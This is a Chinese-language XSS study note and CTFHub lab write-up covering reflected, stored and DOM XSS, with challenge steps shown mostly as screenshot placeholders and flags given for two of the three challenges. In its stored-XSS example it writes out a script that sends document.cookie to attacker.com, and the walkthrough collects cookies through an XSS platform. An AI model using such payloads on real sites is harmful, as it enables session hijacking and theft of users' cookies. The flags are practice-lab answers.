XSS

漏洞原理

Web 应用程序在处理用户输入时,没有对输入进行充分的过滤和转义,直接将用户输入的内容输出到页面中,攻击者就可以利用这个漏洞注入恶意脚本。

例如,一个留言板应用程序直接将用户输入的留言显示在页面上,如果攻击者输入一段 JavaScript 代码,当其他用户访问该留言板时,这段代码就会在他们的浏览器中执行。

漏洞类型

反射型 XSS

特点:攻击者诱使用户点击包含恶意脚本的链接,服务器接收请求后将恶意脚本反射回用户的浏览器并执行。这种攻击通常是一次性的,不会在服务器上存储恶意脚本。
示例:一个搜索页面,URL 参数直接显示在搜索结果页面上。攻击者构造一个包含恶意脚本的 URL,如http://example.com/search?keyword=<script>alert('XSS')</script>

存储型 XSS

特点:攻击者将恶意脚本提交到服务器并存储在数据库中,当其他用户访问包含该恶意脚本的页面时,脚本会在他们的浏览器中执行。这种攻击危害更大,因为它会影响多个用户。
示例:在一个论坛的留言功能中,攻击者在留言内容中注入恶意脚本,如<script>document.location='http://attacker.com?cookie='+document.cookie</script>。当其他用户查看该留言时,脚本会将他们的 Cookie 信息发送到攻击者的服务器。

DOM 型 XSS

特点:基于 DOM(文档对象模型)的 XSS 攻击,不依赖服务器端处理,而是通过修改页面的 DOM 结构来注入恶意脚本。攻击者通过诱导用户访问包含恶意脚本的 URL,当页面加载时,脚本会在浏览器中执行。
示例:一个页面使用 JavaScript 动态更新内容,根据 URL 参数修改页面元素。攻击者构造一个包含恶意脚本的 URL,如http://example.com/page.html?param=<script>alert('XSS')</script>,当用户访问该 URL 时,脚本会在浏览器中执行。

题目

反射型

image-20250411201914007.png

image-20250411201926443.png

在第一个输入框输入内容后,下面会显示。我看别人的wp中的js中写入alert语句都能被执行,我的直接冲定向了

image-20250411202449543.png

image-20250411202458622.png

定义一个变量试一下

image-20250411203941227.png

被执行了

image-20250411204009304.png

接着找个XSS平台,将url填入

image-20250411205731085.png

不知道为啥,使用火狐是得不到cookie,最后用的Edge

image-20250411205620592.png

flag:ctfhub{8bc9faaca0589642c67759de}

存储型

image-20250411210859339.png

和上题类似,先测试一下

image-20250411210930754.png

image-20250411210947151.png

在第一个框中填入项目的地址

image-20250411211238058.png

第二个框填入当前页的url

image-20250411211358963.png

看一下XSS平台的后台

image-20250411211453422.png

flag:ctfhub{3481284913c5d18b9fdcdb77}

DOM反射

image-20250411211920380.png

题目说了是DOM反射,看源码

image-20250411212021827.png

填入1试试

image-20250411211942888.png

image-20250411212233372.png

中间加个**‘;**

image-20250411212428413.png

链接交上去

image-20250411212450981.png

去看一下

image-20250413181505021.png